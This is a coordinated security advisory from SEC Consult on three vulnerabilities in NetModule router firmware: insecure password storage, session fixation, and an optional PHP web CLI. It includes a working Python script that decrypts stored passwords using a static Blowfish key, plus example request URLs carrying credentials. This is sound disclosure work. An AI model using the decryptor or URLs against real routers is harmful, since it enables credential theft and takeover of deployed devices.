SEC Consult Vulnerability Lab Security Advisory < 20210820-0 > ======================================================================= title: Multiple Vulnerabilities in NetModule Router Software product: NetModule Router Software (NRSW) vulnerable version: Before 4.3.0.113, 4.4.0.111, 4.5.0.105 fixed version: 4.3.0.113, 4.4.0.111, 4.5.0.105 CVE number: CVE-2021-39289, CVE-2021-39290, CVE-2021-39291 impact: High homepage: https://www.netmodule.com/en/ found: 2021-05-05 by: SEC Consult Vulnerability Lab These vulnerabilities were discovered during the research cooperation initiative "OT Cyber Security Lab" between Verbund AG and SEC Consult Group. Gerhard Hechenberger (Office Vienna) Steffen Robertz (Office Vienna) An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "NetModule is a leading manufacturer of communication products for M2M and IoT. One focus is on our solutions for applications in the fields of shipping, local and long-distance public transit, and Industrial Internet. Future markets such as Smart City, public safety, and sustainable energy and resource management are further focus areas. The key technology here is 5G. Our devices are certified and include the latest wireless technologies along with multiple interfaces for applications where robust communication is essential, such as information systems, driver communication, passenger WiFi, remote maintenance, condition monitoring, and real-time data exchange." Source: https://www.netmodule.com/en/about-netmodule/portrait "Our Linux-based router software ensures reliable data connections with a wide range of network functions and smart link management – stationary and mobile. Configuration and update options for secure operation throughout the product life cycle and over-the-air complete the package. As a special service, we offer you free updates and support." "The NetModule router software (NRSW) is our standard software and runs on all our devices. This has the advantage of being able to use identical configuration processes and functions for every router (unless technical restrictions dictate otherwise). It is based on proven components such as Embedded Linux and a powerful communication protocol suite." Source: https://www.netmodule.com/en/products/software-overview/router-software Business recommendation: ------------------------ The vendor provides patches, which should be installed immediately. SEC Consult recommends to perform a thorough security review of these products conducted by security professionals to identify and resolve potential further security issues. We want to thank NetModule for the very professional response and great cooperation. Vulnerability overview/description: ----------------------------------- 1) Insecure Password Handling (CVE-2021-39289) The device is storing passwords in an insecure way. For some of them, e.g., user accounts, password storage is an optional feature. For others, e.g., the certificate password, configuration possibilities do not exist. * Storing and sending passwords as cleartext * Storing passwords symmetrically encrypted with a static key 2) Limited Session Fixation via Cookie (CVE-2021-39290) An arbitrary session token cookie value can be used on the web interface. If a session token with an arbitrary value is available, the device does not create a new one during the login process. Also, after the logout, no new session token will be issued. An attacker which is able to create cookies on the victim's client (via potential HTTP Response Splitting, Malware, physical access, ...) can use this to take over the session of the victim. 3) Insecure Feature (Web CLI) (CVE-2021-39291) The interface supports an optional "CLI-PHP" feature, which is essentially a PHP webshell. Authentication is needed and the credentials can be sent as GET parameters. As GET parameters are part of the URL and URLs are frequently stored, this may enable attackers with access to such logs to take over the used account. Proof of concept: ----------------- 1) Insecure Password Handling (CVE-2021-39289) * Storing and sending passwords as cleartext The certificate settings are located at SYSTEM -> Keys & Certificates -> Configuration. When visiting the following URL, the certificate password will be included in cleartext in the response: http:///admin/certificates.php?action=configure Find the response below: ------------------------------------------------------------------------------- HTTP/1.1 200 OK X-Powered-By: PHP/5.6.31 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-type: text/html; charset=ISO-8859-1 Connection: close Date: Mon, 26 Apr 2021 07:20:26 GMT Server: lighttpd/1.4.39 Content-Length: 25448 [...] Passphrase: [...] ------------------------------------------------------------------------------- Additionally, the password is stored in cleartext in the file /etc/default/cert-settings on the device, the line reads: PHRASE="password12" * Storing passwords symmetrically encrypted with a static key The passwords are stored in the configuration file on the device, which can also be downloaded at SYSTEM -> File Configuration -> Download. The downloaded ZIP file will contain a *.cfg file, which includes several encrypted passwords (the values are prefixed with "[enc]", e.g.: cer.settings.phrase=[enc]UauZghllTu7Jy7pF3mdkFA== wwan.0.password=[enc]UauZghllTu7Jy7pF3mdkFA== user.0.password=[enc]UauZghllTu7Jy7pF3mdkFA== The used encryption is Blowfish CBC with a static key and initialization vector, therefore, the passwords can easily be decrypted. This can be done with the following script: ------------------------------------------------------------------------------- #!/usr/bin/env python3 import sys import base64 from Crypto.Cipher import Blowfish data_b64 = sys.argv[1] key = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" iv = b"\x00\x00\x00\x00\x00\x00\x00\x00" cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv) data_enc = base64.b64decode(data_b64) data_pad = cipher.decrypt(data_enc) num_pad = int(data_pad[-1]) data = data_pad[:-num_pad] print(data) ------------------------------------------------------------------------------- The value in the configuration file can be decrypted as follows: ------------------------------------------------------------------------------- $ ./netmodule_config_decrypt.py UauZghllTu7Jy7pF3mdkFA== b'password12' ------------------------------------------------------------------------------- 2) Limited Session Fixation via Cookie (CVE-2021-39290) The session token is stored as cookie named "PHPSESSID". To show the issue, execute the following steps: * Set the "PHPSESSID" cookie in scope of the web interface to an arbitrary value while logged out. * Log in. Observe that the cookie remains unchanged. * Log out. Observe that the cookie remains unchanged. 3) Insecure Feature (Web CLI) (CVE-2021-39291) The Web CLI can be enabled at SERVICES -> Web Server -> Enable CLI-PHP. It is available and can be used at the following URL: http:///cli.php?command=status&usr=admin&pwd=password12 Vulnerable / tested versions: ----------------------------- The following firmware/device has been tested: * NetModule NB1600: Firmware version 4.3.0.110 LTS According to the vendor, the following models with firmware versions before 4.3.0.113, 4.4.0.111 and 4.5.0.105 are affected: * NB800 * NB1600 * NB1601 * NB1800 * NB1810 * NB2700 * NB2710 * NB2800 * NB2810 * NB3700 * NB3701 * NB3710 * NB3711 * NB3720 * NB3800 Vendor contact timeline: ------------------------ 2021-05-25: Contacting vendor through support@netmodule.com, asking for security contact information. Set release date to 2021-07-14. Received vendor response concerning further steps. 2021-05-26: Advisory was transmitted to head of PM and acknowledged. 2021-06-16: In a call, the vendor acknowledges the findings and ensures to keep us updated on the upcoming release of a fixed firmware version. 2021-07-23: The vendor provides information on the release of a fixed firmware version on 2021-07-04. 2021-08-10: The vendor was notified about the pending release. 2021-08-19: The vendor provides information on all supported and fixed major releases. 2021-08-20: Coordinated release of security advisory. Solution: --------- Update the affected devices to software version 4.3.0.113, 4.4.0.111 or 4.5.0.105. Additionally, do not use insecure features and pay close attention to warning messages during the configuration. For more information see vendor's release notes: https://share.netmodule.com/public/system-software/4.3/4.3.0.113/NRSW-RN-4.3.0.113.pdf https://share.netmodule.com/public/system-software/4.4/4.4.0.111/NRSW-RN-4.4.0.111.pdf https://share.netmodule.com/public/system-software/4.5/4.5.0.105/NRSW-RN-4.5.0.105.pdf Workaround: ----------- None. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Gerhard Hechenberger, Steffen Robertz / @2021